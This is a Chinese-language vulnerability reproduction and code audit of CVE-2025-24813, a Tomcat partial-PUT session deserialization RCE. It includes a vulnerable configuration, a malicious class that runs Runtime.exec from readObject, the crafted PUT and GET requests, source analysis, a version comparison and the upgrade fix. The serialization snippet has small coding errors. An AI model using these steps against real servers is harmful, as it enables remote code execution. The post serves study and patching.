【漏洞复现和代码审计】CVE-2025-24813

CVE-2025-24813

CVE-2025-24813 是 Apache Tomcat 中一个关键的路径等效性漏洞,允许任意用户在特定配置下远程RCE。

漏洞原理

Apache Tomcat使用DefaultServlet处理Partial PUT请求时,会将请求体的内容写入到本地session文件,然后通过指定cookie的JSESSIONID值就可以加载对应的session文件并进行反序列化,由于session文件内容能被外部控制,从而触发原生的反序列化漏洞。

利用条件:

  • 设置readonly为false(即开启写权限),这将允许DefaultServlet处理Partial PUT请求
  • 开启session本地存储
  • 存在可利用的反序列化链

复现

环境:spring boot 3.5.6、jdk 17、tomcat 11.0.2

以下配置设置readonly为false并开启session本地默认存储:

import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletRegistration;
import org.apache.catalina.Context;
import org.apache.catalina.session.FileStore;
import org.apache.catalina.session.PersistentManager;
import org.springframework.boot.web.embedded.tomcat.TomcatContextCustomizer;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.io.File;

@Configuration
public class TomcatConfig {

    @Bean
    public WebServerFactoryCustomizer<TomcatServletWebServerFactory> tomcatCustomizer() {
        return factory -> {
            factory.setBaseDirectory(new File("tomcat"));
            factory.addContextCustomizers(new TomcatContextCustomizer() {
                @Override
                public void customize(Context context) {
                    ServletContext servletContext = context.getServletContext();
                    ServletRegistration defaultServlet = servletContext.getServletRegistration("default");
                    defaultServlet.addMapping("/xxxxx/session");
                    defaultServlet.setInitParameter("readonly", "false");

                    PersistentManager manager = new PersistentManager();
                    manager.setSaveOnRestart(true); // 重启时保存
                    manager.setMaxActiveSessions(-1); // 不限制活跃 Session 数

                    // 创建 FileStore,指定存储目录
                    FileStore fileStore = new FileStore();
//                    fileStore.setDirectory("tomcat-sessions"); // Session 持久化目录
                    manager.setStore(fileStore);

                    // 将 Manager 设置到当前 Context
                    context.setManager(manager);
                }
            });

        };
    }
}

配置文件中添加以下配置开启DefaultServlet:

server.servlet.register-default-servlet=true

注意要避开DispatcherServlet的干扰,确保请求能够到达DefaultServlet

准备一个恶意的类(可以自行引入其他利用链):

package org.example.seclab17.vulnerability.Deserialization;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import java.io.IOException;
import java.io.Serial;
import java.io.Serializable;

@Data
@AllArgsConstructor
@NoArgsConstructor
public class User implements Serializable {
    String name;
    String age;
    String cmd;

    @Serial
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException {
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        Runtime.getRuntime().exec(cmd);
    }
}

然后使用以下代码生成序列化对象的base64字符串:

User user = new User();
user.setAge("17");
user.setName("liming");
user.setCmd("calc");
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(user);
String s = os.toString();
os.close();
return user.toString() + "\n"+ s;
System.out.println(s);

下载burp插件:RawHex’ler 用于在请求中批量添加字节数据。

然后使用burp的编码工具解码base64数据得到hex格式的序列化数据:

image-20251004193328037

编辑请求:

PUT /xxxxx/session HTTP/1.1
Host: localhost:8082
Content-Range: bytes 0-147/233
Content-Length: 147

序列化数据

请求体直接插入hex序列化数据:

image-20251004193626198

image-20251004193749643

调整content-length(147)和content-Range(必须从0读到147),保证147个字节能够被完整上传,此处响应409:

image-20251004194113126

在上传完成后发起以下请求进行加载:

GET /xxxxx/session HTTP/1.1
Host: localhost:8082
Cookie: JSESSIONID=.xxxxx

然后就会触发计算器:

image-20251004194243505

最后有个地方可能需要注意下,就是进行PUT请求时,请求体前后两次可能会发生改变,比如第一次请求:

image-20251004202409236

第二次请求:

image-20251004202433095

第二次请求不会成功,因为序列化数据被改变了

代码解读

该漏洞关注两个文件:

  • \org\apache\catalina\servlets\DefaultServlet.class:处理PUT请求
  • \org\apache\catalina\session\FileStore.class:加载本地序列化session文件

DefaultServlet

readOnly默认为true:

image-20251004194845517

可以通过读取readonly来设置该值:

image-20251004194929158

如果readOnly为false才允许PUT请求:

image-20251004195008382

然后看doPut:

image-20251004195139820

只有当readOnly为false并且range不为空时才会执行到executePartialPut

先看parseContentRange(allowPartialPut默认为true不需要管):

image-20251004195348935

读取请求头Content-Range,并且限制Unit为bytes,因此进行PartialPut时必须使用字节格式的序列化数据。

然后看executePartialPut:

image-20251004195723234

本地的临时目录为tomcat\work\Tomcat\localhost\ROOT,前面的配置中我使用setBaseDirectory配置目录为tomcat。然后可以看到,还会将路径中的/转换为.,这就导致请求/xxxxx/session被转换为.xxxxx.session

image-20251004200246395

打开这个文件,可以看到实际上是将数据原样保存到这个路径的文件中去的:

image-20251004200426013

FileStore

入口在:\org\apache\catalina\session\PersistentManagerBase.class,此处会调用FileStore中的load方法:

image-20251004201403991

加载文件并进行反序列化:

image-20251004201535017

image-20251004201552025

然后在第一个readObject处就触发了calc:

image-20251004201936977

版本对比(tomcat 11.0.2 vs tomcat 11.0.3)

image-20251004203255401

image-20251004203619849

可以看到11.0.3会删除临时文件,同时使用createTempFile生成临时文件,这将导致文件名不可预测,所以也不用去测试条件竞争上传了

    public static void main(String[] args) {
        try {
            // 在默认临时目录创建临时文件
            File tempFile = File.createTempFile("report", ".tmp");

            // JVM退出时自动删除
            tempFile.deleteOnExit();

            System.out.println("临时文件已创建: " + tempFile.getAbsolutePath());

        } catch (IOException e) {
            e.printStackTrace();
        }
    }

image-20251004203950145

修复

漏洞影响范围:

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

因此将tomcat升级到非以上版本即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值